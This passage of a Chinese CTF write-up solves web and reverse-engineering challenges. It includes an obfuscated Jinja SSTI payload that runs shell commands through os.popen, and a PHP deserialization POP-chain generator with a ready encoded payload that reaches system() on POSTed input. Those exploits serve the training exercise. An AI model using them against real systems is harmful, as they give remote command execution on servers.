name=直面g.pop[("%c"%95)*2+\'g\'\'lobals\'+("%c"%95)*2][("%c"%95)*2+\'builtins\'+("%c"%95)*2][("%c"%95)*2+\'i\'\'mport\'+("%c"%95)*2](\'so\'[::-1])[\'p\'\'open\'](\'cat /\')[\'r\'\'ead\']()天命
|
但本地可以出的在题目环境里变成 500 了,先去排查一下是不是环境问题了,好像不是,过滤器也试过,不可以
看到这道题的复仇版说将文件读取功能改成了读源码,怀疑是不是不用 ssti 注入,尝试了一下

TGCTF{3fbe9661-3bc7-f825-8d06-0374ea20e948}
TG_wordpres

在网站内随便点点,发现提示。
同时根据题目,得知 flag 就是 CVE 的编号:

我们解锁 hint:

根据提示,存在 DS 泄露,于是进入 /.DS_Store:

进入我们可以发现到达根目录。
进入/crypt/,发现密码题——一个.bin 文件和 RSA 私钥。
解密脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
with open("out.pem", "r") as f:
private_key = RSA.import_key(f.read())
with open("hint.bin", "rb") as f:
encrypted_data = f.read()
cipher = PKCS1_OAEP.new(private_key)
decrypted_data = cipher.decrypt(encrypted_data)
print("解密结果:", decrypted_data.decode("utf-8"))
|
解密结果:

解密得到了用户名和密码
这应该是进入后台的账密 ,那么如何进入后台呢?
由于提示存在 robots 泄露,我们查看 robots.txt:

仔细审查后发现并没有 disallow wp-login.php,说明我们可以访问它来进入登录页面。

尝试登录,成功进入后台:

接下来需要找到 CVE 漏洞
我们可以发现已安装的插件:

其中,第二个插件根据搜索,存在高危 CVE 漏洞:

得到结果。
TGCTF{CVE-2020-25213}
什么文件上传?
题目为文件上传,提示机器人,查看 robots.txt

上面除了 class.php,都不能访问。其源码,看上去是反序列化
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
|
<?php //classs.php
highlight_file(__FILE__);
error_reporting(0);
function best64_decode($str)
{
return base64_decode(base64_decode(base64_decode(base64_decode(base64_decode($str)))));
}
class yesterday {
public $learn;
public $study="study";
public $try;
public function __construct()
{
$this->learn = "learn<br>";
}
public function __destruct()
{
echo "You studied hard yesterday.<br>";
return $this->study->hard();
}
}
class today {
public $doing;
public $did;
public $done;
public function __construct(){
$this->did = "What you did makes you outstanding.<br>";
}
public function __call($arg1, $arg2)
{
$this->done = "And what you've done has given you a choice.<br>";
echo $this->done;
if(md5(md5($this->doing))==666){
return $this->doing();
}
else{
return $this->doing->better;
}
}
}
class tommoraw {
public $good;
public $bad;
public $soso;
public function __invoke(){
$this->good="You'll be good tommoraw!<br>";
echo $this->good;
}
public function __get($arg1){
$this->bad="You'll be bad tommoraw!<br>";
}
}
class future{
private $impossible="How can you get here?<br>";
private $out;
private $no;
public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;
public function __set($arg1, $arg2) {
if ($this->out->useful7) {
echo "Seven is my lucky number<br>";
system('whoami');
}
}
public function __toString(){
echo "This is your future.<br>";
system($_POST["wow"]);
return "win";
}
public function __destruct(){
$this->no = "no";
return $this->no;
}
}
if (file_exists($_GET['filename'])){
echo "Focus on the previous step!<br>";
}
else{
$data=substr($_GET['filename'],0,-4);
unserialize(best64_decode($data));
}
// You learn yesterday, you choose today, can you get to your future?
?>
|
链子如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
<?php
class yesterday {
public $study;
}
class today {
public $doing;
}
class future {
public $useful1;
}
$future = new future();
$today = new today();
$today->doing = $future;
$yesterday = new yesterday();
$yesterday->study = $today;
$payload = serialize($yesterday);
for ($i = 0; $i < 5; $i++) {
$payload = base64_encode($payload);
}
echo "filename=" . urlencode($payload . ".php");
?>
|
Payload:
1
|
?filename=Vm10b2QyUnJOVlpQV0VKVVlXeGFhRll3VlRCa01XUnpZVVYwYUUxWGVGcFpWRXB6VlVkR2NrMUVTbUZXUlRWUFZHMXpNVlpYU1hsaVIyeFRUVlp3ZGxkVVNYZE5SMFpXVDBod1ZWWkdjRkZXYTJNMVkwWnNjbHBHWkdoU01EVXdWR3RTYjFkdFNuSmhNMHBVVmpOQmQxcFhjelZqVmxwVlYydHdhV0Y2VWpOWGExcHJWVEExVm1KSVJtdFNhMHBSV1ZkNFZrMXNUbGhPVms1cllraENTVlZ0Y0ZkVGJVWjBUMVJhVlUxcVZYZGFWM00xWTFaYVZWZHJjR2xXYTI5NVYxWmFhazFYU25KaVNFWnJVbXRLVVZsWGVISk5iRTVZVFZkR1RsWXhTa3BXYlRWeldWWlZkMkY2U2xWV00wSlBWRzB4Vm1Wc1VsVlhhelZYVWpKTmVWVXhaR3RSTWtwWVZXeHNWbUZyV25GWmJGcFhVV3hzVjFremFHdE5hMncyVmtjMWQyRkdXWGRqU0hCWVlrVTFTMVJxU2s5T2JVbDZZa1U1VjFKNmJIZFdWRUpxVGxVd2QySkZhRlZpVjJod1dWWldTazFXYkhGVWJGcGhUVmM1TlZadGNFTlRiRWw1WVVoT1drMXFSbGRVUkVaRFUwWk9kV0pHUm1oV1YzTjZWMVJPZDJSdFZrWk5WbFpwVFcxNFExVnFSblpsUm5CR1lVWmtiRlp1UWxOVlZ6VmhZVEZrUjFKdVFsVmxhMFYzVkdwS1QwNXRTWHBoUlRWVFVucHNkMVZXVm10WlZURllWV3RzVjJKdGVHaFdWbFpMVFZac2RXSkZjRTlOVmtwNFdrVm9kMVZIUm5SVVZFcFVWbnBXV0ZwWGVIZFhSbVJ4VW0xc1UxSldXbmRXU0hCQ1RVVTBlVlJxV21sbGF6VlJXVlpXZG1WR2JEWlRiR1JwVmpGS1dWcEVUbk5UYlVaMVZXeENWV1ZyTlU5VWJYTXhUbTFKZVdKSGRGaFNWRlo2VmpJd01WWXlUWGROVkZaVVZrZFNWbGxYTlZOT2JGRjVZMGR3VDJFeWVERldiVFYzV1ZaWmVHSXphRnBoTVVwVFdWWlZOR1F3TlVWYVIzQnNZbFJvTmxaRVNuTlRNREZZVkZoc1YySlVSbkpXYWs1cVpVWk9XR05FUWxWTlJHZzJWa1pTWVZReVZuUlBXRUpoVW0xb1VGbHJXbmRrVmxwMVZHczVhRlpYYzNwV2EyUjNUVWRXY2s5WVJscGxiSEJMV1cxNFlVNXNaSE5hUjBaT1ZqQndSbGRVU25OVlJURkZWVlJPV2swelFqSlVWRUUxWTBaT2NWSnRjRTVpUm5Bd1YydGFhMDB3TlVaaVNFWnJVbFJzVVZSVVFYZE5iRkoxWTBoYWFGWXhTbHBXUnpFMFdWZEtjMWR1Y0ZWTlZUVkxWR3BHVTJOWFVrbGpSa0pvWWxkTmVWVXhZekZXTWxaelkwWm9XR0ZyV25CVmExWlhUVEZPV0dORVFsVk5SR2cyVmtaU1lWVkdTa2hQV0VKaFVtMW9VRmxyV25ka1ZscDFWR3MxVjFKV1duZFdTSEJDVFVVMGVWUnFXbWxsYkVwUldWWldkbVZHYkRaVGJHUnBWakZLV1ZwRVRtOVViVVpXWVhwT1YxSXpRWGRhVjNNMVkxWndObGRyY0dsaVJtOHlWako0YTFsVk1WaFRhMVpUVjBoQ1MxbFhOVk5WUmxJMlZHczFUMkY2YkVaWmFrcHpZVEZrUms1WVRsaGlWRlpZV1hwQmVGWldWbGhpUmtKT1VrWkZlbGRVVG5ka2F6VkdUMWhDVkdGclduRlVWM2hoWkVad1IxcEVUbXhTVkZaVlZURlNhMVpYUm5WVmFscFZUVzVDZFZSdGRITmtWbHAxWTBkR1YwMVhPVFJYVjNSVFVtc3hjbUpJUm10U1ZHeFJWRlJCZDAxc1VYZFZibHBvVmpGS1dsWkhNVFJaVjBwelYyNXdWVlpzU25GWlZsVTBaREExUlZwSGNHeGlWR2QzVmtSS2MxTXdNVmhVV0d4WFlsUkdjbFpxVG10T1JsRjNWR3R3VDAxV1NuaGFSV2gzVlVkR2RGbDZTbFJXZWxaWVdsZDRkMWRHWkhGU2JXeFRVbFpWZUZVeFpIZE5SbEYzVDBod1ZWWkdjRkZWYTJNMVkwWndSMkZGT1dsU2JrSXhWbTAxVDFSdFJuSlNia0pWWld0RmQxUnFTbUZYVmxKVlYyczFiR0pVYkhkV01uUnJZekpGZDJKSVJtdFRTRUpSV1ZkemQwMVdVWGxpUlhSWVVqQmFTVlZ0Y0VOVGJFNUlaVVJLWVZKck5VUlpWRXBIVjBaV1dGcEhiRmROUm5BMVZqSjRiMVJzYjNsV2JHaFFWa1ZhUzFWdWNISmxSbkJHWVVVNVRsSnRlRmxVYkdRd1lVWmFObFp1VmxWU00wRXdXVlprVDJOVk5VaGlSa0pPVFVSQmVWWkhkRk5rYlVaWFkwVm9VRmRHV21oV1ZFSnlUVEZhU0dORVFsQldNRFF5V1dwT2QxVkhSbFppTTJSYVRXcFdlVmxXVlRSa01EVkZXa2N4VmxaRVFUVT0=.php
|
TGCTF{10881e67-0625-16b7-ff53-a95d6ea52e2c}
Reverse
base64
魔改 base64,算法没改,多了个 +24,python 写脚本记得要处理负数。密文和表都给了,脚本逆就行

1
2
3
4
5
6
7
8
9
|
flag=[0]*100
basetable=b"GLp/+Wn7uqX8FQ2JDR1c0M6U53sjBwyxglmrCVdSThAfEOvPHaYZNzo4ktK9iebI="
data=b"AwLdOEVEhIWtajB2CbCWCbTRVsFFC8hirfiXC9gWH9HQayCJVbB8CIF="
for i in range(len(data)):
flag[i]=(basetable.index((data[i]))-24 )&0x3f
print(flag[i],end=',')
for i in range(0,len(flag),4):
aa=flag[i]<<18|flag[i+1]<<12|flag[i+2]<<6|flag[i+3]
print(chr((aa>>16)&0xff)+chr((aa>>8)&0xff)+chr(aa&0xff),end='')
|
HZNUCTF{ad162c-2d94-434d-9222-b65dc76a32}
XTEA
出题人没有给 delta,要自己猜(其实就是标准的 0x9E3779B9)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
int main(){
uint32_t data[] = {0x8CCB2324, 0x9A7741A, 0x0FB3C678D, 0x0F6083A79, 0x0F1CC241B, 0x39FA59F2,0x0F2ABE1CC, 0x17189F72,};
uint32_t k[] = {6648,4542,2449,13336};
int delta = 0x9E3779B9;
for(int i=6;i>=0;i--){
int sum = (0-(32*delta))&0xffffffff;
for(int j=0;j<32;j++){
data[i+1] -= (k[(sum >> 11) & 3] + sum) ^ (data[i] + ((data[i] >> 5) ^ (16 * data[i])));
sum += delta;
data[i] -= (k[sum & 3] + sum) ^ (data[i+1] + ((data[i+1] >> 5) ^ (16 * data[i+1])));
}
}
for(int i = 0; i < 8; i++) {
for(int j = 3; j >= 0; j--) {
printf("%c", (data[i] >> (j * 8)) & 0xFF);
}
}
}
|
HZNUCTF{ae6-9f57-4b74-b423-98eb}
水果忍者
Unity 逆向,dnspy 打开 Assembly-CSharp.dll,一眼就看见了解密函数,就是个 AES:

找到引用它的地方,发现直接会调用它把密文解出来:

在代码后面加上第三个红框里的内容,把第一个红框触发需要的分数改成 2,进游戏随便砍两下,flag 就保存在 d 盘的 aaa.txt 文件里了:

HZNUCTF{de20-70dd-4e62-b8d0-06e}
蛇年的本命语言
pyinstaller 打包,发编译 pyc 发现了一通混淆

好像是 z3,手动去一下混淆,大概长这样,字符频率统计。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
|
from collections import Counter
print("Welcome to HZNUCTF!!!")
print("Plz input the flag:")
aa= input()
input = Counter(aa)
O0o00 = "".join((str(input[i]) for i in aa))
print("ans1: ", end="")
print(O0o00)
if O0o00 != "111111116257645365477364777645752361":
print("wrong_wrong!!!")
exit(1)
string = ""
for i in input:
if input[i] > 0:
string += i + str(input[i])
input[i] = 0
else:
data = [ord(i) for i in string]
z3func = [
7 * data[0] == 504,
9 * data[0] - 5 * data[1] == 403,
2 * data[0] - 5 * data[1] + 10 * data[2] == 799,
3 * data[0] + 8 * data[1] + 15 * data[2] + 20 * data[3] == 2938,
5 * data[0] + 15 * data[1] + 20 * data[2] - 19 * data[3] + 1 * data[4] == 2042,
7 * data[0] + 1 * data[1] + 9 * data[2] - 11 * data[3] + 2 * data[4] + 5 * data[5] == 1225,
11 * data[0] + 22 * data[1] + 33 * data[2] + 44 * data[3] + 55 * data[4] + 66 * data[5] - 77 * data[6] == 7975,
21 * data[0] + 23 * data[1] + 3 * data[2] + 24 * data[3] - 55 * data[4] + 6 * data[5] - 7 * data[6] + 15 * data[7] == 229,
2 * data[0] + 26 * data[1] + 13 * data[2] + 0 * data[3] - 65 * data[4] + 15 * data[5] + 29 * data[6] + 1 * data[7] + 20 * data[8] == 2107,
10 * data[0] + 7 * data[1] + -9 * data[2] + 6 * data[3] + 7 * data[4] + 1 * data[5] + 22 * data[6] + 21 * data[7] - 22 * data[8] + 30 * data[9] == 4037,
15 * data[0] + 59 * data[1] + 56 * data[2] + 66 * data[3] + 7 * data[4] + 1 * data[5] - 122 * data[6] + 21 * data[7] + 32 * data[8] + 3 * data[9] - 10 * data[10] == 4950,
13 * data[0] + 66 * data[1] + 29 * data[2] + 39 * data[3] - 33 * data[4] + 13 * data[5] - 2 * data[6] + 42 * data[7] + 62 * data[8] + 1 * data[9] - 10 * data[10] + 11 * data[11] == 12544,
23 * data[0] + 6 * data[1] + 29 * data[2] + 3 * data[3] - 3 * data[4] + 63 * data[5] - 25 * data[6] + 2 * data[7] + 32 * data[8] + 1 * data[9] - 10 * data[10] + 11 * data[11] - 12 * data[12] == 6585,
223 * data[0] + 6 * data[1] - 29 * data[2] - 53 * data[3] - 3 * data[4] + 3 * data[5] - 65 * data[6] + 0 * data[7] + 36 * data[8] + 1 * data[9] - 15 * data[10] + 16 * data[11] - 18 * data[12] + 13 * data[13] == 6893,
29 * data[0] + 13 * data[1] - 9 * data[2] - 93 * data[3] + 33 * data[4] + 6 * data[5] + 65 * data[6] + 1 * data[7] - 36 * data[8] + 0 * data[9] - 16 * data[10] + 96 * data[11] - 68 * data[12] + 33 * data[13] - 14 * data[14] == 1883,
69 * data[0] + 77 * data[1] - 93 * data[2] - 12 * data[3] + 0 * data[4] + 0 * data[5] + 1 * data[6] + 16 * data[7] + 36 * data[8] + 6 * data[9] + 19 * data[10] + 66 * data[11] - 8 * data[12] + 38 * data[13] - 16 * data[14] + 15 * data[15] == 8257,
23 * data[0] + 2 * data[1] - 3 * data[2] - 11 * data[3] + 12 * data[4] + 24 * data[5] + 1 * data[6] + 6 * data[7] + 14 * data[8] - 0 * data[9] + 1 * data[10] + 68 * data[11] - 18 * data[12] + 68 * data[13] - 26 * data[14] + 15 * data[15] - 16 * data[16] == 5847,
24 * data[0] + 0 * data[1] - 1 * data[2] - 15 * data[3] + 13 * data[4] + 4 * data[5] + 16 * data[6] + 67 * data[7] + 146 * data[8] - 50 * data[9] + 16 * data[10] + 6 * data[11] - 1 * data[12] + 69 * data[13] - 27 * data[14] + 45 * data[15] - 6 * data[16] + 17 * data[17] == 18257,
25 * data[0] + 26 * data[1] - 89 * data[2] + 16 * data[3] + 19 * data[4] + 44 * data[5] + 36 * data[6] + 66 * data[7] - 150 * data[8] - 250 * data[9] + 166 * data[10] + 126 * data[11] - 11 * data[12] + 690 * data[13] - 207 * data[14] + 46 * data[15] + 6 * data[16] + 7 * data[17] - 18 * data[18] == 12591,
5 * data[0] + 26 * data[1] + 8 * data[2] + 160 * data[3] + 9 * data[4] - 4 * data[5] + 36 * data[6] + 6 * data[7] - 15 * data[8] - 20 * data[9] + 66 * data[10] + 16 * data[11] - 1 * data[12] + 690 * data[13] - 20 * data[14] + 46 * data[15] + 6 * data[16] + 7 * data[17] - 18 * data[18] + 19 * data[19] == 52041,
29 * data[0] - 26 * data[1] + 0 * data[2] + 60 * data[3] + 90 * data[4] - 4 * data[5] + 6 * data[6] + 6 * data[7] - 16 * data[8] - 21 * data[9] + 69 * data[10] + 6 * data[11] - 12 * data[12] + 69 * data[13] - 20 * data[14] - 46 * data[15] + 65 * data[16] + 0 * data[17] - 1 * data[18] + 39 * data[19] - 20 * data[20] == 20253,
45 * data[0] - 56 * data[1] + 10 * data[2] + 650 * data[3] - 900 * data[4] + 44 * data[5] + 66 * data[6] - 6 * data[7] - 6 * data[8] - 21 * data[9] + 9 * data[10] - 6 * data[11] - 12 * data[12] + 69 * data[13] - 2 * data[14] - 406 * data[15] + 651 * data[16] + 2 * data[17] - 10 * data[18] + 69 * data[19] - 0 * data[20] + 21 * data[21] == 18768,
555 * data[0] - 6666 * data[1] + 70 * data[2] + 510 * data[3] - 90 * data[4] + 499 * data[5] + 66 * data[6] - 66 * data[7] - 610 * data[8] - 221 * data[9] + 9 * data[10] - 23 * data[11] - 102 * data[12] + 6 * data[13] + 2050 * data[14] - 406 * data[15] + 665 * data[16] + 333 * data[17] + 100 * data[18] + 609 * data[19] + 777 * data[20] + 201 * data[21] - 22 * data[22] == 111844,
1 * data[0] - 22 * data[1] + 333 * data[2] + 4444 * data[3] - 5555 * data[4] + 6666 * data[5] - 666 * data[6] + 676 * data[7] - 660 * data[8] - 22 * data[9] + 9 * data[10] - 73 * data[11] - 107 * data[12] + 6 * data[13] + 250 * data[14] - 6 * data[15] + 65 * data[16] + 39 * data[17] + 10 * data[18] + 69 * data[19] + 777 * data[20] + 201 * data[21] - 2 * data[22] + 23 * data[23] == 159029,
520 * data[0] - 222 * data[1] + 333 * data[2] + 4 * data[3] - 56655 * data[4] + 6666 * data[5] + 666 * data[6] + 66 * data[7] - 60 * data[8] - 220 * data[9] + 99 * data[10] + 73 * data[11] + 1007 * data[12] + 7777 * data[13] + 2500 * data[14] + 6666 * data[15] + 605 * data[16] + 390 * data[17] + 100 * data[18] + 609 * data[19] + 99999 * data[20] + 210 * data[21] + 232 * data[22] + 23 * data[23] - 24 * data[24] == 2762025,
1323 * data[0] - 22 * data[1] + 333 * data[2] + 4 * data[3] - 55 * data[4] + 666 * data[5] + 666 * data[6] + 66 * data[7] - 660 * data[8] - 220 * data[9] + 99 * data[10] + 3 * data[11] + 100 * data[12] + 777 * data[13] + 2500 * data[14] + 6666 * data[15] + 605 * data[16] + 390 * data[17] + 100 * data[18] + 609 * data[19] + 9999 * data[20] + 210 * data[21] + 232 * data[22] + 23 * data[23] - 24 * data[24] + 25 * data[25] == 1551621,
777 * data[0] - 22 * data[1] + 6969 * data[2] + 4 * data[3] - 55 * data[4] + 666 * data[5] - 6 * data[6] + 96 * data[7] - 60 * data[8] - 220 * data[9] + 99 * data[10] + 3 * data[11] + 100 * data[12] + 777 * data[13] + 250 * data[14] + 666 * data[15] + 65 * data[16] + 90 * data[17] + 100 * data[18] + 609 * data[19] + 999 * data[20] + 21 * data[21] + 232 * data[22] + 23 * data[23] - 24 * data[24] + 25 * data[25] - 26 * data[26] == 948348,
97 * data[0] - 22 * data[1] + 6969 * data[2] + 4 * data[3] - 56 * data[4] + 96 * data[5] - 6 * data[6] + 96 * data[7] - 60 * data[8] - 20 * data[9] + 99 * data[10] + 3 * data[11] + 10 * data[12] + 707 * data[13] + 250 * data[14] + 666 * data[15] + -9 * data[16] + 90 * data[17] + -2 * data[18] + 609 * data[19] + 0 * data[20] + 21 * data[21] + 2 * data[22] + 23 * data[23] - 24 * data[24] + 25 * data[25] - 26 * data[26] + 27 * data[27] == 777044,
177 * data[0] - 22 * data[1] + 699 * data[2] + 64 * data[3] - 56 * data[4] - 96 * data[5] - 66 * data[6] + 96 * data[7] - 60 * data[8] - 20 * data[9] + 99 * data[10] + 3 * data[11] + 10 * data[12] + 707 * data[13] + 250 * data[14] + 666 * data[15] + -9 * data[16] + 0 * data[17] + -2 * data[18] + 69 * data[19] + 0 * data[20] + 21 * data[21] + 222 * data[22] + 23 * data[23] - 224 * data[24] + 25 * data[25] - 26 * data[26] + 27 * data[27] - 28 * data[28] == 185016,
77 * data[0] - 2 * data[1] + 6 * data[2] + 6 * data[3] - 96 * data[4] - 9 * data[5] - 6 * data[6] + 96 * data[7] - 0 * data[8] - 20 * data[9] + 99 * data[10] + 3 * data[11] + 10 * data[12] + 707 * data[13] + 250 * data[14] + 666 * data[15] + -9 * data[16] + 0 * data[17] + -2 * data[18] + 9 * data[19] + 0 * data[20] + 21 * data[21] + 222 * data[22] + 23 * data[23] - 224 * data[24] + 26 * data[25] - -58 * data[26] + 27 * data[27] - 2 * data[28] + 29 * data[29] == 130106]
if all(z3func):
print("Congratulation!!!")
else:
print("wrong_wrong!!!")
|
合理使用 AI 教我逆字典序(挠头):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
|
from z3 import *
data = [Int('data[%d]' % i) for i in range(30)]
x=Solver()
x.add(7 * data[0] == 504)
x.add(9 * data[0] - 5 * data[1] == 403)
x.add(2 * data[0] - 5 * data[1] + 10 * data[2] == 799)
x.add(3 * data[0] + 8 * data[1] + 15 * data[2] + 20 * data[3] == 2938)
x.add(5 * data[0] + 15 * data[1] + 20 * data[2] - 19 * data[3] + 1 * data[4] == 2042)
x.add(7 * data[0] + 1 * data[1] + 9 * data[2] - 11 * data[3] + 2 * data[4] + 5 * data[5] == 1225)
x.add(11 * data[0] + 22 * data[1] + 33 * data[2] + 44 * data[3] + 55 * data[4] + 66 * data[5] - 77 * data[6] == 7975)
x.add(21 * data[0] + 23 * data[1] + 3 * data[2] + 24 * data[3] - 55 * data[4] + 6 * data[5] - 7 * data[6] + 15 * data[7] == 229)
x.add(2 * data[0] + 26 * data[1] + 13 * data[2] + 0 * data[3] - 65 * data[4] + 15 * data[5] + 29 * data[6] + 1 * data[7] + 20 * data[8] == 2107)
x.add(10 * data[0] + 7 * data[1] + -9 * data[2] + 6 * data[3] + 7 * data[4] + 1 * data[5] + 22 * data[6] + 21 * data[7] - 22 * data[8] + 30 * data[9] == 4037)
x.add(15 * data[0] + 59 * data[1] + 56 * data[2] + 66 * data[3] + 7 * data[4] + 1 * data[5] - 122 * data[6] + 21 * data[7] + 32 * data[8] + 3 * data[9] - 10 * data[10] == 4950)
x.add(13 * data[0] + 66 * data[1] + 29 * data[2] + 39 * data[3] - 33 * data[4] + 13 * data[5] - 2 * data[6] + 42 * data[7] + 62 * data[8] + 1 * data[9] - 10 * data[10] + 11 * data[11] == 12544)
x.add(23 * data[0] + 6 * data[1] + 29 * data[2] + 3 * data[3] - 3 * data[4] + 63 * data[5] - 25 * data[6] + 2 * data[7] + 32 * data[8] + 1 * data[9] - 10 * data[10] + 11 * data[11] - 12 * data[12] == 6585)
x.add(223 * data[0] + 6 * data[1] - 29 * data[2] - 53 * data[3] - 3 * data[4] + 3 * data[5] - 65 * data[6] + 0 * data[7] + 36 * data[8] + 1 * data[9] - 15 * data[10] + 16 * data[11] - 18 * data[12] + 13 * data[13] == 6893)
x.add(29 * data[0] + 13 * data[1] - 9 * data[2] - 93 * data[3] + 33 * data[4] + 6 * data[5] + 65 * data[6] + 1 * data[7] - 36 * data[8] + 0 * data[9] - 16 * data[10] + 96 * data[11] - 68 * data[12] + 33 * data[13] - 14 * data[14] == 1883)
x.add(69 * data[0] + 77 * data[1] - 93 * data[2] - 12 * data[3] + 0 * data[4] + 0 * data[5] + 1 * data[6] + 16 * data[7] + 36 * data[8] + 6 * data[9] + 19 * data[10] + 66 * data[11] - 8 * data[12] + 38 * data[13] - 16 * data[14] + 15 * data[15] == 8257)
x.add(23 * data[0] + 2 * data[1] - 3 * data[2] - 11 * data[3] + 12 * data[4] + 24 * data[5] + 1 * data[6] + 6 * data[7] + 14 * data[8] - 0 * data[9] + 1 * data[10] + 68 * data[11] - 18 * data[12] + 68 * data[13] - 26 * data[14] + 15 * data[15] - 16 * data[16] == 5847)
x.add(24 * data[0] + 0 * data[1] - 1 * data[2] - 15 * data[3] + 13 * data[4] + 4 * data[5] + 16 * data[6] + 67 * data[7] + 146 * data[8] - 50 * data[9] + 16 * data[10] + 6 * data[11] - 1 * data[12] + 69 * data[13] - 27 * data[14] + 45 * data[15] - 6 * data[16] + 17 * data[17] == 18257)
x.add(25 * data[0] + 26 * data[1] - 89 * data[2] + 16 * data[3] + 19 * data[4] + 44 * data[5] + 36 * data[6] + 66 * data[7] - 150 * data[8] - 250 * data[9] + 166 * data[10] + 126 * data[11] - 11 * data[12] + 690 * data[13] - 207 * data[14] + 46 * data[15] + 6 * data[16] + 7 * data[17] - 18 * data[18] == 12591)
x.add(5 * data[0] + 26 * data[1] + 8 * data[2] + 160 * data[3] + 9 * data[4] - 4 * data[5] + 36 * data[6] + 6 * data[7] - 15 * data[8] - 20 * data[9] + 66 * data[10] + 16 * data[11] - 1 * data[12] + 690 * data[13] - 20 * data[14] + 46 * data[15] + 6 * data[16] + 7 * data[17] - 18 * data[18] + 19 * data[19] == 52041)
x.add(29 * data[0] - 26 * data[1] + 0 * data[2] + 60 * data[3] + 90 * data[4] - 4 * data[5] + 6 * data[6] + 6 * data[7] - 16 * data[8] - 21 * data[9] + 69 * data[10] + 6 * data[11] - 12 * data[12] + 69 * data[13] - 20 * data[14] - 46 * data[15] + 65 * data[16] + 0 * data[17] - 1 * data[18] + 39 * data[19] - 20 * data[20] == 20253)
x.add(45 * data[0] - 56 * data[1] + 10 * data[2] + 650 * data[3] - 900 * data[4] + 44 * data[5] + 66 * data[6] - 6 * data[7] - 6 * data[8] - 21 * data[9] + 9 * data[10] - 6 * data[11] - 12 * data[12] + 69 * data[13] - 2 * data[14] - 406 * data[15] + 651 * data[16] + 2 * data[17] - 10 * data[18] + 69 * data[19] - 0 * data[20] + 21 * data[21] == 18768)
x.add(555 * data[0] - 6666 * data[1] + 70 * data[2] + 510 * data[3] - 90 * data[4] + 499 * data[5] + 66 * data[6] - 66 * data[7] - 610 * data[8] - 221 * data[9] + 9 * data[10] - 23 * data[11] - 102 * data[12] + 6 * data[13] + 2050 * data[14] - 406 * data[15] + 665 * data[16] + 333 * data[17] + 100 * data[18] + 609 * data[19] + 777 * data[20] + 201 * data[21] - 22 * data[22] == 111844)
x.add(1 * data[0] - 22 * data[1] + 333 * data[2] + 4444 * data[3] - 5555 * data[4] + 6666 * data[5] - 666 * data[6] + 676 * data[7] - 660 * data[8] - 22 * data[9] + 9 * data[10] - 73 * data[11] - 107 * data[12] + 6 * data[13] + 250 * data[14] - 6 * data[15] + 65 * data[16] + 39 * data[17] + 10 * data[18] + 69 * data[19] + 777 * data[20] + 201 * data[21] - 2 * data[22] + 23 * data[23] == 159029)
x.add(520 * data[0] - 222 * data[1] + 333 * data[2] + 4 * data[3] - 56655 * data[4] + 6666 * data[5] + 666 * data[6] + 66 * data[7] - 60 * data[8] - 220 * data[9] + 99 * data[10] + 73 * data[11] + 1007 * data[12] + 7777 * data[13] + 2500 * data[14] + 6666 * data[15] + 605 * data[16] + 390 * data[17] + 100 * data[18] + 609 * data[19] + 99999 * data[20] + 210 * data[21] + 232 * data[22] + 23 * data[23] - 24 * data[24] == 2762025)
x.add(1323 * data[0] - 22 * data[1] + 333 * data[2] + 4 * data[3] - 55 * data[4] + 666 * data[5] + 666 * data[6] + 66 * data[7] - 660 * data[8] - 220 * data[9] + 99 * data[10] + 3 * data[11] + 100 * data[12] + 777 * data[13] + 2500 * data[14] + 6666 * data[15] + 605 * data[16] + 390 * data[17] + 100 * data[18] + 609 * data[19] + 9999 * data[20] + 210 * data[21] + 232 * data[22] + 23 * data[23] - 24 * data[24] + 25 * data[25] == 1551621)
x.add(777 * data[0] - 22 * data[1] + 6969 * data[2] + 4 * data[3] - 55 * data[4] + 666 * data[5] - 6 * data[6] + 96 * data[7] - 60 * data[8] - 220 * data[9] + 99 * data[10] + 3 * data[11] + 100 * data[12] + 777 * data[13] + 250 * data[14] + 666 * data[15] + 65 * data[16] + 90 * data[17] + 100 * data[18] + 609 * data[19] + 999 * data[20] + 21 * data[21] + 232 * data[22] + 23 * data[23] - 24 * data[24] + 25 * data[25] - 26 * data[26] == 948348)
x.add(97 * data[0] - 22 * data[1] + 6969 * data[2] + 4 * data[3] - 56 * data[4] + 96 * data[5] - 6 * data[6] + 96 * data[7] - 60 * data[8] - 20 * data[9] + 99 * data[10] + 3 * data[11] + 10 * data[12] + 707 * data[13] + 250 * data[14] + 666 * data[15] + -9 * data[16] + 90 * data[17] + -2 * data[18] + 609 * data[19] + 0 * data[20] + 21 * data[21] + 2 * data[22] + 23 * data[23] - 24 * data[24] + 25 * data[25] - 26 * data[26] + 27 * data[27] == 777044)
x.add(177 * data[0] - 22 * data[1] + 699 * data[2] + 64 * data[3] - 56 * data[4] - 96 * data[5] - 66 * data[6] + 96 * data[7] - 60 * data[8] - 20 * data[9] + 99 * data[10] + 3 * data[11] + 10 * data[12] + 707 * data[13] + 250 * data[14] + 666 * data[15] + -9 * data[16] + 0 * data[17] + -2 * data[18] + 69 * data[19] + 0 * data[20] + 21 * data[21] + 222 * data[22] + 23 * data[23] - 224 * data[24] + 25 * data[25] - 26 * data[26] + 27 * data[27] - 28 * data[28] == 185016)
